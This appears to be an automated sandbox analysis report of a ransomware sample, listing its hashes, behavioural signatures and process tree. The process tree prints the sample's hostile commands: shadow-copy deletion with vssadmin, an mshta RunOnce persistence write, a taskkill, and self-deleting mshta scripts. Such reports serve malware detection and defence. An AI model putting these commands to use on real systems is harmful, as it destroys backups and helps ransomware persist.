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Overview

overview

9

Static

static

028f0b1092...60.exe

windows7_x64

9

028f0b1092...60.exe

windows10_x64

9

Analysis

  • max time kernel
    273s
  • max time network
    277s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    14/08/2021, 02:17

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General

  • Target

    028f0b1092caf4711857d0958bc798882c4ac9285895c3628f5be0c988f1d560.exe

  • Size

    256KB

  • MD5

    156ed66fb7257ef1bdd6385c71e5aa83

  • SHA1

    2d302323eab61e5791ab5ce2c6728e6708743bed

  • SHA256

    028f0b1092caf4711857d0958bc798882c4ac9285895c3628f5be0c988f1d560

  • SHA512

    c63a679abf8eb64ba4a722df4638249499d8ab9e6a94db5e3d39ab136afbe4cec563ff9698814170b12e55d5616865776273303e99a5b7e8742bc870ae5ebdb4

Score
9/10
persistenceransomware

Malware Config

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Drops desktop.ini file(s) 25 IoCs
  • Maps connected drives based on registry 3 TTPs 4 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\028f0b1092caf4711857d0958bc798882c4ac9285895c3628f5be0c988f1d560.exe
    "C:\Users\Admin\AppData\Local\Temp\028f0b1092caf4711857d0958bc798882c4ac9285895c3628f5be0c988f1d560.exe"
    1⤵
    • Maps connected drives based on registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3912
    • C:\Users\Admin\AppData\Local\trust.exe
      "C:\Users\Admin\AppData\Local\trust.exe" runas
      2⤵
      • Executes dropped EXE
      • Modifies extensions of user files
      • Adds Run key to start application
      • Drops desktop.ini file(s)
      • Maps connected drives based on registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2820
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');setInterval(function(){try{o.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\{EE750B8B-8F1F-4FEB-B415-B9B0FDBD4893}','C:\\Users\\Admin\\AppData\\Local\\trust.exe');}catch(e){}},10);"
        3⤵
        • Adds Run key to start application
        PID:3564
      • C:\Windows\SysWOW64\vssadmin.exe
        vssadmin.exe Delete Shadows /All /Quiet
        3⤵
        • Interacts with shadow copies
        PID:3276
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "C:\Users\Admin\How to restore files.hta"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of FindShellTrayWindow
        PID:3272
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C taskkill /PID 3564 /F
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /PID 3564 /F
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3600
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('C:\\Users\\Admin\\AppData\\Local\\trust.exe');close()}catch(e){}},10);"
        3⤵
          PID:1860
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('C:\\Users\\Admin\\AppData\\Local\\Temp\\028f0b1092caf4711857d0958bc798882c4ac9285895c3628f5be0c988f1d560.exe');close()}catch(e){}},10);"
        2⤵
        • Deletes itself
        PID:3712
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3940
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1824
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Desktop\How to restore files.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
        1⤵
          PID:1860

        Network

        MITRE ATT&CK Enterprise v6

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